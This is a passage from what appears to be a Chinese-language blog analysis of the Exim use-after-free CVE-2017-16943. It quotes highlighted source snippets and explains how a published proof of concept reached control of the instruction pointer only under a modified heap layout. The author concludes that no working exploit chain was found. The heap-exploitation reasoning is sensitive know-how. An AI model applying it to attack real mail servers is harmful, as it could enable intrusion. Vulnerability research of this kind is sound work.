class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L4"><code><span class="pln">  </span><span class="pun">}</span></code></li></ol>

这里就是该漏洞的关键利用点

首先: newblock = current_block = heap1

然后: newblock = newblock->next

我猜测的meh的情况和我加了 printf 进行测试的情况是一样的,在 printf 中需要malloc一块堆用来当做缓冲区,所以在heap1下面又多了一块堆,在free了heap1后,heap1被放入了unsortbin,fd和bk指向了arena

所以这个时候, heap1->next = fd = arena_top

之后的流程就是:

在执行完 store_get 后就是执行 memcpy :

<ol class="linenums"><li class="L0"><code><span class="pln">memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li></ol>

上面的 newtext 就是 store_get 返回的值 arena_top+0x10

把用户输入的数据copy到了arena中,最后达到了控制 RIP=0xdeadbeef 造成crash的效果

但是实际情况就不一样了,因为没有printf,所以heap1是最后一块堆,再free之后,就会合并到top_chunk中,fd和bk字段不会被修改,在释放前,这两个字段也是用来储存storeblock结构体的next和length,所以也是没法控制的

总结

CVE-2017-16943的确是一个UAF漏洞,但是在我的研究中却发现没法利用meh提供的PoC造成crash的效果

之后我也尝试其他利用方法,但是却没找到合适的利用链

发现由于Exim自己实现了一个堆管理,所以在heap1之后利用 store_get 再malloc一块堆是不行的因为current_block也会被修改为指向最新的堆块,所以必须要能在不使用 store_get 的情况下,malloc一块堆,才能成功利用控制RIP,因为exim自己实现了堆管理,所以都是使用 store_get 来获取内存,这样就只能找 printf 这种有自己使用malloc的函数,但是我找到的这些函数再调用后都会退出 receive_msg 函数的循环,所以没办法构造成一个利用链

引用

  1. Exim源码
  2. Bugzilla-2199
作者:知道创宇
更好更安全的互联网
原文地址:CVE-2017-16943 Exim UAF漏洞分析, 感谢原作者分享。